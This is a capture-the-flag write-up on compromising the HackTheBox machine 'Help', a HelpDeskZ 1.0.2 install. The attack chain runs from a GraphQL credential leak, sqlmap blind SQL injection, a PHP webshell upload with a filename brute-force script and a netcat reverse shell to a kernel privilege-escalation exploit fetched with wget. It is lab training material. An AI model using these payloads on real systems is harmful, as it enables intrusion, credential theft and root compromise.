Help is an easy-level machine that presents two ways for exploitation. The first option involves leveraging an arbitrary file upload vulnerability, while the second option utilizes an authenticated SQL injection to gain access to a user account. We escalate privileges by exploiting an outdated Linux kernel.

Reconnaissance


Nmap

The output of the scan tells us that there are two HTTP servers:

┌──(iwo㉿kali)-[~/boxes/help/scans]
└─$ nmap -sCV -p- 10.10.10.121 -oA tcp_sCV
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-24 14:40 CET
Nmap scan report for help.htb (10.10.10.121)
Host is up (0.030s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
|   256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_  256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp   open  http    Apache httpd 2.4.18
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.05 seconds

HTTP - TCP 80

Querying the IP address we notice that we are trying to reach help.htb, therefore we need to add a new entry to our /etc/hosts file.

┌──(iwo㉿kali)-[~]
└─$ sudo sh -c 'echo "10.10.10.121 help.htb" >> /etc/hosts'

We are greeted by the Apache2 Ubuntu default page.

Apache2 Ubuntu default page

Scanning the directories with ffuf.

┌──(iwo㉿kali)-[~/boxes/help/scans]
└─$ ffuf -u http://help.htb/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt:FUZZ -ic -recursion -recursion-depth 1

<SNIP>

support                 [Status: 301, Size: 306, Words: 20, Lines: 10, Duration: 29ms]
[INFO] Adding a new job to the queue: http://help.htb/support/FUZZ

javascript              [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 29ms]
[INFO] Adding a new job to the queue: http://help.htb/javascript/FUZZ

                        [Status: 200, Size: 11321, Words: 3503, Lines: 376, Duration: 4773ms]
                        [Status: 200, Size: 11321, Words: 3503, Lines: 376, Duration: 31ms]
[INFO] Starting queued job on target: http://help.htb/support/FUZZ

images                  [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 46ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://help.htb/support/images/
                        [Status: 200, Size: 4413, Words: 1502, Lines: 97, Duration: 76ms]
uploads                 [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 31ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://help.htb/support/uploads/
css                     [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 28ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://help.htb/support/css/
includes                [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 31ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://help.htb/support/includes/
js                      [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 31ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://help.htb/support/js/
views                   [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 34ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://help.htb/support/views/
controllers             [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 31ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://help.htb/support/controllers/
                        [Status: 200, Size: 4413, Words: 1502, Lines: 97, Duration: 60ms]
[INFO] Starting queued job on target: http://help.htb/javascript/FUZZ

                        [Status: 403, Size: 294, Words: 22, Lines: 12, Duration: 40ms]
                        [Status: 403, Size: 294, Words: 22, Lines: 12, Duration: 30ms]
jquery                  [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 32ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://help.htb/javascript/jquery/

After entering /support we find ourselves on a HelpDeskZ platform. It is a free PHP based software which allows you to manage your site’s support with a web-based support ticket system.

There is a login panel. Unfortunately, HelpDeskZ doesn’t have any default credentials, instead we insert credentials during an installation process. Testing common credentials brings us no luck.

help.htb/support

Going through its GitHub repo we notice that there is a README.md file in the root directory. The version is 1.0.2. Besides PHP, it utilizes a MySQL database.

README.md

HelpDeskZ 1.0.2 is vulnerable to arbitrary file upload and authenticated SQL injection.

┌──(iwo㉿kali)-[~/boxes/help/scans]
└─$ searchsploit helpdeskz 1.0.2
--------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                         |  Path
--------------------------------------------------------------------------------------- ---------------------------------
HelpDeskZ 1.0.2 - Arbitrary File Upload                                                | php/webapps/40300.py
HelpDeskZ < 1.0.2 - (Authenticated) SQL Injection / Unauthorized File Download         | php/webapps/41200.py
--------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

There is the Submit a Ticket form with the file upload.

File upload form

HTTP - TCP 3000

On port 3000 we find an HTTP API. Upon entering, we get the following message:

Message

Inspecting the response headers tells us that the website is run using Express.

Response headers

We need some sort of query to find the credentials.

Invalid query

A quick Google search reveals GraphQL.

GraphQL Google search

Funny enough, it actually works. I feel like we just saved some time. Here’s the correct syntax:

Correct selection set

Initial foothold


Authenticated SQL injection

HackTricks helps a lot here. We are able to find the query revealing a username and a password hash.

GraphQL query

Cracking a hash

We use hashid to identify the hash. It’s probably an MD5.

┌──(iwo㉿kali)-[~/boxes/help/scans]
└─$ hashid -m -j 5d3c93182bb20f07b994a7f617e99cff
Analyzing '5d3c93182bb20f07b994a7f617e99cff'
[+] MD2 [JtR Format: md2]           
[+] MD5 [Hashcat Mode: 0][JtR Format: raw-md5]
[+] MD4 [Hashcat Mode: 900][JtR Format: raw-md4]
[+] Double MD5 [Hashcat Mode: 2600]
[+] LM [Hashcat Mode: 3000][JtR Format: lm]
[+] RIPEMD-128 [JtR Format: ripemd-128]
[+] Haval-128 [JtR Format: haval-128-4]
[+] Tiger-128 
[+] Skein-256(128) 
[+] Skein-512(128) 
[+] Lotus Notes/Domino 5 [Hashcat Mode: 8600][JtR Format: lotus5]
[+] Skype [Hashcat Mode: 23]
[+] Snefru-128 [JtR Format: snefru-128]
[+] NTLM [Hashcat Mode: 1000][JtR Format: nt]
[+] Domain Cached Credentials [Hashcat Mode: 1100][JtR Format: mscach]
[+] Domain Cached Credentials 2 [Hashcat Mode: 2100][JtR Format: mscach2]
[+] DNSSEC(NSEC3) [Hashcat Mode: 8300]
[+] RAdmin v2.x [Hashcat Mode: 9900][JtR Format: radmin]

We easily crack the hash revealing it’s underlying password.

┌──(iwo㉿kali)-[~/boxes/help/scans]
└─$ hashcat -a 0 -m 0 5d3c93182bb20f07b994a7f617e99cff /usr/share/wordlists/rockyou.txt

<SNIP>

5d3c93182bb20f07b994a7f617e99cff:godhelpmeplz

Authenticated access

We can now log in to the HelpDeskZ website.

Logged in

Authenticated SQL injection

Unfortunately, the exploit code doesn’t work, however I can read it and execute the attack manually.

We need to submit a ticket after logging in. This ticket must have a file attachment, it could be empty but I will use a picture of a cat from the internet.

Submitting a ticket.

Submitting a ticket

The download link help.htb/support/?v=view_tickets&action=ticket&param[]=4&param[]=attachment&param[]=1&param[]=6 is vulnerable to a blind SQL injection.

Vulnerable download link

By appending and 1=1-- - at the end of the URL we will download the attachment, our cat.jpg.

Download cat

However, and 1=2-- - returns an error.

Whoops!

We can either give a true statement and download the attachment (cat.jpg) or a false one and get an error (Whoops!).

Let’s copy the unedited request and save it as a file to use it with sqlmap.

Save the request

We run the following sqlmap command to dump the content of the database:

┌──(iwo㉿kali)-[~/boxes/help/requests]
└─$ sqlmap -r req --level=5 --risk=3 -p param[] --dbms=MySQL --dump

Reviewing the output of the sqlmap dump, we find a password Welcome1.

┌──(iwo㉿kali)-[~/…/output/help.htb/dump/support]
└─$ cat staff.csv   
id,email,login,avatar,admin,status,fullname,password,timezone,username,signature,department,last_login,newticket_notification
1,support@mysite.com,1547216217,NULL,1,Enable,Administrator,d318f44739dced66793b1a603028133a76ae680e (Welcome1),<blank>,admin,"Best regards,\r\nAdministrator","a:1:{i:0;s:1:""1"";}",1543429746,0

Getting a shell

We try to ssh using different usernames and the user help works. We retrieve the user flag.

┌──(iwo㉿kali)-[~/boxes/help]
└─$ ssh help@10.10.10.121

<SNIP>

help@help:~$ cat user.txt
7f1f3f**************************

Alternative way - Arbitrary file upload

HelpDeskZ allows the upload of files with the .php extension, however their filenames get obfuscated when they are uploaded. The obfuscation is predictable as it is using the following pattern:

$filename = md5($_FILES['attachment']['name'].time()).".".$ext;

The new filename is an MD5 hash of a filename concatenated with current time, then the extension is applied.

We also need to know a directory where uploaded files are saved. Before, we used ffuf to brute force the directories and the scan results revealed /support/uploads. Let’s search for the full path.

┌──(iwo㉿kali)-[~/boxes/help/scans]
└─$ ffuf -u http://help.htb/support/uploads/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt:FUZZ -ic

<SNIP>

articles                [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 29ms]
tickets                 [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 35ms]

We can assume it is the /support/uploads/tickets, as we upload the files using a ticket form.

Uploading a webshell

We will utilize a simple php webshell and upload it using the form. We don’t need to be authenticated to do this.

┌──(iwo㉿kali)-[~/boxes/help/payloads]
└─$ cat webshell.php 
<?php system($_REQUEST['cmd']); ?>

Upload the webshell

We get an error, however we ignore it as the file went through.

Upload the webshell error

Preparing the script

The script will brute force all possible obfuscated filenames to reveal where our webshell will be located.

Let’s copy the exploit into our directory.

┌──(iwo㉿kali)-[~/boxes/help/payloads]
└─$ cp "$(locate php/webapps/40300.py)" .

┌──(iwo㉿kali)-[~/boxes/help/payloads]
└─$ ls
40300.py

Retrieving the obfuscated webshell

We have to update the exploit script, so it works without any errors.

import hashlib
import sys
import requests
import time

print('Helpdeskz v1.0.2 - Unauthenticated shell upload exploit')

if len(sys.argv) < 3:
    print("Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0]))
    sys.exit(1)

helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]

try:
    r = requests.get(helpdeskzBaseUrl)

    # Gets the current time of the server to prevent timezone errors
    currentTime = int(time.time())

    for x in range(0, 60*60):
        plaintext = fileName + str(currentTime - x)
        md5hash = hashlib.md5(plaintext.encode()).hexdigest()

        url = helpdeskzBaseUrl + md5hash + '.php'
        response = requests.head(url)
        if response.status_code == 200:
            print('Found!')
            print(url)
            sys.exit(0)

except Exception as e:
    print(f"An error occurred: {e}")

print('Sorry, I did not find anything')

We run the exploit and find the obfuscated webshell.php.

┌──(iwo㉿kali)-[~/boxes/help/payloads]
└─$ python3 40300.py http://help.htb/support/uploads/tickets/ webshell.php
Helpdeskz v1.0.2 - Unauthenticated shell upload exploit
found!
http://help.htb/support/uploads/tickets/26ffa6665e2ed9d76a93cba7aa9db84d.php

Testing the webshell using curl.

┌──(iwo㉿kali)-[~/boxes/help/payloads]
└─$ curl -s http://help.htb/support/uploads/tickets/26ffa6665e2ed9d76a93cba7aa9db84d.php?cmd=id
uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare)

It works!

Getting a shell

Reverse shell as the user help.

┌──(iwo㉿kali)-[~/boxes/help/payloads]
└─$ curl -s 'http://help.htb/support/uploads/tickets/26ffa6665e2ed9d76a93cba7aa9db84d.php?cmd=rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.17+1234+>/tmp/f'

Upgrading the shell and retrieving the user flag.

┌──(iwo㉿kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.121] 60540
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty; pty.spawn("/bin/bash")'
help@help:/var/www/html/support/uploads/tickets$ ^Z
zsh: suspended  nc -lvnp 1234

┌──(iwo㉿kali)-[~]
└─$ stty raw -echo; fg
[2]  - continued  nc -lvnp 1234
                               reset
reset: unknown terminal type unknown
Terminal type? screen
help@help:/home/help$ cat user.txt
7f1f3f**************************

Privilege escalation


Enumeration

During enumeration, we discover an outdated Linux kernel. We Google for potential exploits, finding several viable options.

help@help:~/help$ uname -a
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

The one we are going to use is CVE-2017-16995 - 44298.c.

Exploiting

We transfer the exploit code to our target host.

help@help:/tmp$ wget http://10.10.14.17:1337/44298.c -O 44298.c
--2025-01-24 14:31:06--  http://10.10.14.17:1337/44298.c
Connecting to 10.10.14.17:1337... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6021 (5.9K) [text/x-csrc]
Saving to: ‘44298.c’

44298.c                                     100%[===========================================================================================>]   5.88K  --.-KB/s    in 0.001s  

2025-01-24 14:31:06 (6.50 MB/s) - ‘44298.c’ saved [6021/6021]

We compile the exploit and run it.

help@help:/tmp$ gcc 44298.c -o pwn
help@help:/tmp$ chmod +x pwn
help@help:/tmp$ ./pwn
task_struct = ffff88001ee10e00
uidptr = ffff88003732fcc4
spawning root shell
root@help:/tmp# cat /root/root.txt
d967b8**************************

We obtained root privileges and compromised the web server! :)